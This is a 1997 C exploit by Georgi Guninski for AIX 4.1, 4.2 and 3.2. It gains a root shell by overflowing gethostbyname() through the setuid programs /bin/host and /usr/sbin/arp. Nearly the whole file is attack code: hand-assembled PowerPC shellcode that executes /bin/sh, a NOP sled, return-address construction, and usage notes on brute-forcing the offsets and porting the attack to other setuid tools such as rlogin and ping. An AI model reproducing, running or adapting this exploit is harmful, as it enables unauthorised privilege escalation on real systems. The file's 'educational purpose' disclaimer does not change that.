/*
 AIX 4.1 ,4.2, 3.2 /bin/host and /usr/sbin/arp exploit by Georgi Guninski
 Version 1.1
 
----------------------------------------
DISCLAIMER

 This program is for educational purpose ONLY. Do not use it without permission.
 The usual standard disclaimer applies, especially the fact that Georgi Guninski
 is not liable for any damages caused by direct or  indirect use of
 the information or functionality provided by this program.
 Georgi Guninski or any Internet provider bears NO responsibility for content
 or misuse of this program or any derivatives thereof.
 By using this program you accept the fact that any damage (dataloss, system
 crash, system compromise, etc.) caused by the use of this program is not
 Georgi Guninski's responsibility.
-----------------------------------------
I wrote and tested this program on AIX 4.1 for PowerPC 601,604, Power2  and 
it started a root shell on a few  machines. It exploits a buffer overflow in 
gethostbyname() (see IBM advisory) and the fact that /bin/host,/usr/sbin/arp are
+s. Probably it may be modified to work with rlogin,ping,traceroute and others. 
Possibly this hole may be exploited remotely. IBM has released patch for the problem.
It is reported that this works on AIX 4.2 and 3.2.

I think the problem with the additional kludges is corrected, so the program
should work without any arguments. But if you want to experiment the arguments
are: string length (/4), offset (/4), full path of program.


Use the IBM C compiler.
Compile with: cc -g test.c
Just try: ./a.out
	  ./a.out 560 500 /usr/sbin/arp
	  ./a.out 78 40 /bin/host
If it does not work, you should run a shell script which brute forces the 
length (<=580) and offset (<legth-15) with /bin/host, /usr/sbin/arp or other
setuid program.
-----------------
Georgi Guninski
Email:
 guninski@hotmail.com 
 sgg@vmei.acad.bg
 guninski@linux2.vmei.acad.bg
Tel: +359 2 774104

Suggestions,comments and offers are welcome!
11-Jan-97
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/*Used for testing*/

char prog[100]="/bin/host";
char prog2[30]="host";


void buggy(char *s)
{
char a[4];
unsigned int junk[150];
gethostbyname();
}
void sh2()
{
int junk[0x100];
int s[2];
int toc;
int ctr;
junk[0x100]=0x11;
toc=0xf0192c48;
ctr=0xd0024c0c;
s[0]=0x2f62696e;
s[1]=0x2f736800;
execv(&s,0);
}
/*The program*/
main(int argc,char **argv)
{
unsigned int junk[300];
/*The code*/
unsigned int code[]={
0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
0x7c0903a6 , 0x4e800420, 0x0
};
/* disassembly
7c0802a6       	mfspr	r0,LR
9421fbb0       	stu	SP,-1104(SP) --get stack 
90010458       	st	r0,1112(SP)
3c60f019       	cau	r3,r0,0xf019 --CTR
60632c48       	lis	r3,r3,11336  --CTR
90610440       	st	r3,1088(SP)
3c60d002       	cau	r3,r0,0xd002 --TOC
60634c0c       	lis	r3,r3,19468  --TOC
90610444       	st	r3,1092(SP)
3c602f62       	cau	r3,r0,0x2f62 --'/bin/sh\x01'
6063696e       	lis	r3,r3,26990
90610438       	st	r3,1080(SP)
3c602f73       	cau	r3,r0,0x2f73
60636801       	lis	r3,r3,26625  
3863ffff       	addi	r3,r3,-1
9061043c       	st	r3,1084(SP) --terminate with 0
30610438       	lis	r3,SP,1080
7c842278       	xor	r4,r4,r4    --argv=NULL
80410440       	lwz	RTOC,1088(SP) 
80010444       	lwz	r0,1092(SP) --jump
7c0903a6       	mtspr   CTR,r0
4e800420       	bctr              --jump
*/

#define MAXBUF 600
unsigned int buf[MAXBUF];
unsigned int i,nop,mn;
int max;

unsigned int toc;
unsigned int eco;
unsigned int *pt;
int carry1=0;/*should remain 0*/
int carry2=0;/*-"-*/
char *t;

pt=(unsigned *) &execv;
toc=*(pt+1);
eco=*pt;
if (argc>1) max=atoi(argv[1]);
if(max==0) max=78;
mn=40;
if(argc>2) mn=atoi(argv[2]);

if(argc>3) 
 { 	strncpy(prog,argv[3],100);
	t=strrchr(prog,'/');
	if(t) strncpy(prog2,++t,30); 
	

 }
if(argc>4) strncpy(prog2,argv[4],30);

if ( ((mn+strlen((char*)&code)/4)>max) || (max>MAXBUF) ) 
{
	puts("Bad parameters");
	exit(1);
}
    
#define OO 7        
*((unsigned short *)code + OO + 2)=(unsigned short) (toc & 0x0000ffff);
*((unsigned short *)code + OO)=carry1+(unsigned short) ((toc >> 16) & 0x0000ffff);
/*I think I corrected the problem. carry1,carry2 should be 0          */
*((unsigned short *)code + OO + 8 )=(unsigned short) (eco & 0x0000ffff);
*((unsigned short *)code + OO + 6 )=carry2+(unsigned short) ((eco >> 16) & 0x0000ffff);
#ifndef QUIET
puts("Test AIX!");
puts("Discovered and coded by Georgi G.");
printf("TOC:%0x,CTR:%0x\n",toc,eco);
printf("\n%p",&buf[nop]);
#endif
junk[50]=1;
for(nop=0;nop<mn;nop++)
 buf[nop]=0x4ffffb82;/*nop*/
strcpy((char*)&buf[nop],(char*)&code);
i=nop+strlen( (char*) &code)/4-1;
while(i++<max)
{
 buf[i]=(unsigned) &buf[nop];
}
buf[i]=0;

for(i=0;i<nop;i++)
 buf[i]=(unsigned)&buf[nop];
for(i=0;i<300;i++) junk[i]=(unsigned)&buf[nop];



if (argc<=7) {
#ifndef QUIET
puts("Start...");/*Here we go*/
#endif
i=execl(prog,prog2,(char*)&buf,0);
}
else
 {
  puts((char*)&buf);
  fflush(stdout);
  gethostbyname( (char*)&buf); 
 }
/*Bad*/ 
printf("Error executing execl\n");
/*      Georgi Guninski 
	guninski@hotmail.com     
	sgg@vmei.acad.bg*/
}